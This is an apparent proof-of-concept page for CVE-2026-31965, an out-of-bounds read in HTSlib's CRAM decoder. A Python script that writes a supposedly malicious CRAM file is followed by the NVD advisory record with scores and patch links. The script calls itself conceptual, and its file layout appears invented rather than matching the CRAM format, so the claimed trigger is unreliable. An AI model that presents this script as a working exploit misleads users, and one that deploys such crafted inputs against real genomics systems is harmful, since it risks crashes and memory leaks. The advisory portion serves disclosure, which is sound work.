CVE-2026-31965

#!/usr/bin/env python3 """ CVE-2026-31965 PoC - HTSlib CRAM OOB Read Note: This is a conceptual PoC demonstrating the vulnerability pattern. Actual exploitation requires specific CRAM file crafting. """ import struct import os def create_malicious_cram(): """ Create a malicious CRAM file that triggers the OOB read in cram_decode_slice() The vulnerability allows reading 2 values before validation catches the invalid reference ID """ # CRAM file header structure header = bytearray() # Container header header += b'CRAM' # Magic number header += struct.pack('<I', 3) # Version (e.g., 3.0) header += struct.pack('<I', 0) # Flags header += struct.pack('<Q', 1) # Container number # Slice header with malicious reference ID # The bug allows OOB read before reference ID validation slice_header = bytearray() slice_header += struct.pack('<I', 0) # Block content ID slice_header += struct.pack('<I', 0) # Block method slice_header += struct.pack('<i', -1) # Reference ID (malicious value causing OOB) slice_header += struct.pack('<i', 0) # Start coordinate slice_header += struct.pack('<i', 0) # End coordinate # Malicious slice data that triggers the vulnerability # When reference ID validation is delayed, this causes OOB reads malicious_data = bytearray() malicious_data += struct.pack('<I', 0x41414141) # Padding to trigger OOB malicious_data += struct.pack('<I', 0x42424242) # Second OOB value return bytes(header + slice_header + malicious_data) def main(): print("CVE-2026-31965 PoC Generator") print("Target: HTSlib < 1.21.1, 1.22.2, 1.23.1") print("Vulnerability: OOB read in cram_decode_slice() before reference ID validation") poc_data = create_malicious_cram() output_file = "CVE-2026-31965_poc.cram" with open(output_file, 'wb') as f: f.write(poc_data) print(f"\nGenerated PoC file: {output_file}") print(f"File size: {len(poc_data)} bytes") print("\nUsage: Process this CRAM file with vulnerable htslib version") print("Expected: OOB read access or crash") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-31965", "sourceIdentifier": "[email protected]", "published": "2026-03-18T19:16:04.823", "lastModified": "2026-03-19T14:47:35.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. In the `cram_decode_slice()` function called while reading CRAM records, validation of the reference id field occurred too late, allowing two out of bounds reads to occur before the invalid data was detected. The bug does allow two values to be leaked to the caller, however as the function reports an error it may be difficult to exploit them. It is also possible that the program will crash due to trying to access invalid memory. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue."}, {"lang": "es", "value": "HTSlib es una biblioteca para leer y escribir formatos de archivo bioinformáticos. CRAM es un formato comprimido que almacena datos de alineación de secuencias de ADN. En la función 'cram_decode_slice()' llamada al leer registros CRAM, la validación del campo de ID de referencia ocurrió demasiado tarde, permitiendo que ocurrieran dos lecturas fuera de límites antes de que se detectaran los datos no válidos. El error permite que se filtren dos valores al llamador, sin embargo, como la función informa un error, puede ser difícil explotarlos. También es posible que el programa falle debido a que intenta acceder a memoria no válida. Las versiones 1.23.1, 1.22.2 y 1.21.1 incluyen correcciones para este problema. No hay una solución alternativa para este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:htslib:htslib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.1", "matchCriteriaId": "A069D6B6-FFF6-4DB7-9811-A568ECC4B288"}, {"vulnerable": true, "criteria": "cpe:2.3:a:htslib:htslib:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.22", "versionEndExcluding": "1.22.2", "matchCriteriaId": "D9D525C8-C8AD-4368-A396-EB4D9DA02B1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:htslib:htslib:1.23:*:*:*:*:*:*:*", "matchCriteriaId": "AAA6BBB2-76F3-4372-9BAE-FDE157401EFD"}]}]}], "references": [{"url": "https://github.com/samtools/htslib/commit/9cefb46453ad471e933b8212d4f45920524d3357", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/samtools/htslib/security/advisories/GHSA-mqm2-v645-3qhr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}